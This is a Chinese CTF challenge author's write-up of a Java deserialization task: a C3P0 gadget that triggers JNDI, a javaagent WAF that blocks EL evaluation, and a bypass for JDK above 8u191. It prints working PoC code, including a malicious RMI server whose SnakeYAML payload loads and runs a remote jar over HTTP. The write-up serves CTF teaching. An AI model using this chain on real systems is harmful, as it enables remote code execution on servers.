节分端午自谁言,万古传闻为屈原。堪笑楚江空渺渺,不能洗得直臣冤。
首先祝大家端午节安康
0x00 题为话
前段时间dest0g3 新生赛中受颜老板邀请出一个jndi相关的题目,当时想了想目前jndi这个知识点网上基本上弄的比较透彻,所有肯定是要出bypass 8u191的jndi。其中的浅蓝师傅的探索高版本 JDK 下 JNDI 漏洞的利用方法非常精彩,为了出题自己重新去看了一遍并且尝试挖掘其他的gadgets(挖了一些没公开),先说说目前自己出ctf题的想法吧,(自认为)基本上是出和真实环境相关的题。并且基本上说给源代码的因为自己不喜欢猜来猜去的。回到题目构造的思路上,当时自己去寻找了一些没有tomcat的中间件去搭建题目环境并且寻找Factory去利用构造发现工作量有点小大(太懒了)就没有去弄了,就简简单单的弄了一个springboot的环境内含tomcat,然后前面的话就弄一个简简单单的反序列化去触发jndi 的gadgets 交差!
0x01 题环境搭建介绍
这里自己选的是C3P0链,一方面是比较简单,另一方面是真实基本上比较常见至少有一定的价值。C3P0存在的链子有http连接加载执行和不出网的Factory利用(见JAVA反序列化之C3P0不出网利用),这里肯定不能用现成的gadgets去打,并且也不能使用网上的bypass jndi工具去执行el表达式这些绕过。所有加入了java agent技术。既然说到这里了就简单的介绍一下java agent的使用场景 1. agent内存马 2.可以修改源代码起等防御的作用(本质上差不多是rasp) 等等。在防御的时候我选择了运行中防御,也就是为什么题目附件里面有一个需要进入docker 执行java -jar waf.jar 
噢对了 jdk环境肯定是大于8u191的
0x02 分析题目
题目非常简单就一个反序列化入口点不能存在ldap的字符串(自己感觉处理的不好,因为可能存在绕过然后就出现其他问题比如ldap打反序列化返回数据执行原来的c3p0 gadgets rce),有经验的看到这里就已经猜到了使用rmi 的Factory去绕过。并且存在 C3p0的依赖。那思路就清楚了。通过反序列化C3P0去jndi然后执行命令rce。
前几天有师傅说使用yso的就可以打通,那说明我的waf.jar没有配置好。。自己的问题不好意思
那我们看看waf.jar里面是啥
main方法里面其实就是去选择名为DemoApplication的程序去获得pid,之后进行hook,核心内容在simpleDemo0 和simpleDemo1。这里说一个就可以了因为代码差不多一样
simpleDemo0 中对org/apache/tomcat/util/net/SocketBufferHandler类进行hook
| 12
 3
 4
 5
 6
 7
 
 | if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {try {
 AgentDemo.el(inst, loader);
 } catch (Exception var7) {
 var7.printStackTrace();
 }
 }
 
 | 
并且执行AgentDemo.el(inst, loader);
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
 ClassPool classPool = new ClassPool(true);
 classPool.insertClassPath(new ClassClassPath(elProcessorClass));
 classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
 CtClass ctClass = classPool.get(elProcessorClass.getName());
 CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
 ctMethod.insertBefore(String.format(" if (expression!=null){\n            return null;\n        }", AgentDemo.class.getName()));
 inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())});
 ctClass.detach();
 return ctClass.toBytecode();
 }
 
 | 
可以看到这里使用了javassist技术去修改eval方法里面的逻辑,也就是如果expression!=null就直接return null;
为什么这样呢,因为通过el表达式执行 expression肯定不为null,所有相当于起得了防御的作用。simpleDemo1同理
然后知道了题目不能使用el表达式去执行,并且c3p0 gadgets中 reference不能有值。这里不分析C3P0已经存在的gadgets,网上有很多。。。
现在的问题就是在C3P0中选择jndi的gadgets,其实非常简单。
在 com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#getObject中已经有了lookup方法

满足条件就可以jndi了,具体的细节大家自己分析噢。我这里只是说一下主要的问题就是正常的反序列化contextName变量为null的问题。为什么是这样勒因为在 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject中进行了实例化操作
| 1
 | oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
 | 
所有我们要解决这个问题。我这里想到的方法有3个
- 修改C3P0源代码 比较简单 
- 通过agent技术去修改源代码 
- 像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以) 
有其他方法欢迎讨论
现在jndi的问题解决了,那rce怎么办呢? 我们看看springboot中本身存在什么依赖

有一个yaml 那非常好 浅蓝师傅的探索高版本 JDK 下 JNDI 漏洞的利用方法里面说到了这个利用方法直接拿来用就可以了。
有师傅用了xxe去读文件(也可以接受至少是这个方向上的利用
0x03 poc
jndi poc
如下代码就是我使用agent技术去实现的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 
 | import com.sun.tools.attach.VirtualMachine;import com.sun.tools.attach.VirtualMachineDescriptor;
 import javassist.*;
 
 import java.io.File;
 import java.io.UnsupportedEncodingException;
 import java.lang.instrument.ClassDefinition;
 import java.lang.instrument.Instrumentation;
 import java.net.URLDecoder;
 import java.util.List;
 
 public class AgentDemo {
 public static void main(String[] args) throws Throwable{
 Class.forName("sun.tools.attach.HotSpotAttachProvider");
 List<VirtualMachineDescriptor> vms = VirtualMachine.list();
 String targetPid = null;
 for (int i = 0; i < vms.size(); i++) {
 VirtualMachineDescriptor vm = vms.get(i);
 if (vm.displayName().contains("main")) {
 System.out.println(vm.displayName());
 targetPid = vm.id();
 System.out.println(targetPid);
 }
 }
 VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
 virtualMachine.loadAgent(getJarFileByClass(AgentDemo.class),null);
 virtualMachine.detach();
 }
 public static String getJarFileByClass(Class cs) {
 String fileString=null;
 String tmpString;
 if (cs!=null) {
 tmpString=cs.getProtectionDomain().getCodeSource().getLocation().getFile();
 if (tmpString.endsWith(".jar")) {
 try {
 fileString= URLDecoder.decode(tmpString,"utf-8");
 } catch (UnsupportedEncodingException e) {
 fileString=URLDecoder.decode(tmpString);
 }
 }
 }
 return new File(fileString).toString();
 }
 
 public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
 for (Class allLoadedClass : inst.getAllLoadedClasses()) {
 if (allLoadedClass.getName().contains("c3p0.main")) {
 Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
 ClassPool classPool = new ClassPool(true);
 classPool.insertClassPath(new ClassClassPath(elProcessorClass));
 classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
 CtClass ctClass = classPool.get(elProcessorClass.getName());
 CtMethod ctMethod = ctClass.getMethod("indirectForm","(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
 ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
 "        javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"ldap://127.0.0.1:6666/calc\",properties);" +
 "contextName=compoundName;",AgentDemo.class.getName()));
 inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
 ctClass.detach();
 }
 }
 }
 }
 
 
 | 
生成jar之后run下面代码就可以成功生exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 
 | package c3p0;
 import com.mchange.v2.c3p0.PoolBackedDataSource;
 import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
 import com.mchange.v2.naming.ReferenceIndirector;
 
 import javax.naming.*;
 import javax.sql.ConnectionPoolDataSource;
 import javax.sql.PooledConnection;
 import java.io.*;
 import java.sql.SQLException;
 import java.sql.SQLFeatureNotSupportedException;
 import java.util.Base64;
 import java.util.Properties;
 import java.util.logging.Logger;
 
 public class main {
 public static void main(String[] args) throws Exception{
 Thread.sleep(5000);
 PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
 Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource());
 writeFile("2.txt",serialize(b));
 
 }
 
 private static final class PoolSource extends ReferenceIndirector implements ConnectionPoolDataSource, Referenceable {
 
 public PoolSource () {
 }
 
 public Reference getReference () throws NamingException {
 return null;
 }
 
 public PrintWriter getLogWriter () throws SQLException {return null;}
 public void setLogWriter ( PrintWriter out ) throws SQLException {}
 public void setLoginTimeout ( int seconds ) throws SQLException {}
 public int getLoginTimeout () throws SQLException {return 0;}
 public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
 public PooledConnection getPooledConnection () throws SQLException {return null;}
 public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
 }
 
 public static byte[] serialize(final Object obj) throws Exception {
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(obj);
 return btout.toByteArray();
 }
 
 public static Object deserialize(final byte[] serialized) throws Exception {
 ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
 ObjectInputStream objIn = new ObjectInputStream(btin);
 return objIn.readObject();
 }
 
 private static void writeFile(String filePath, byte[] content) throws Exception {
 FileOutputStream outputStream = new FileOutputStream(filePath);
 outputStream.write( content );
 outputStream.close();
 }
 
 public static byte[] FiletoBytes(String filename) throws Exception{
 String buf = null;
 File file = new File(filename);
 FileInputStream fis = null;
 fis = new FileInputStream(file);
 int size = fis.available();
 byte[] bytes = new byte[size];
 fis.read(bytes);
 return bytes;
 }
 }
 
 | 
yaml load poc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | public static void main(String[] args)throws Exception {System.out.println("[*]Evil RMI Server is Listening on port: 6666");
 Registry registry = LocateRegistry.createRegistry( 6666);
 ResourceRef ref = tomcat_snakeyaml();
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
 registry.bind("calc", referenceWrapper);
 }
 
 
 
 
 
 
 public static ResourceRef tomcat_snakeyaml(){
 ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
 true, "org.apache.naming.factory.BeanFactory", null);
 String yaml = "!!javax.script.ScriptEngineManager [\n" +
 "  !!java.net.URLClassLoader [[\n" +
 "    !!java.net.URL [\"http://127.0.0.1:8888/calc.jar\"]\n" +
 "  ]]\n" +
 "]";
 ref.add(new StringRefAddr("forceString", "a=load"));
 ref.add(new StringRefAddr("a", yaml));
 return ref;
 }
 
 | 
calc.jar怎么制作 github有现成的。
0x04 总结
这道ljctr的题就完成了,正如题目名字一样ljctr的出题。其实怎么说呢,自己感觉还不错,至少可以让做题的人学到一些东西灵活处理java中的问题。并且可能在真实环境中存在也是我出题的初衷了。wp一直没有时间写拖了这么久抱歉。c3p0_jndi_agnet.jar
题目复现可以在buuctf中寻找。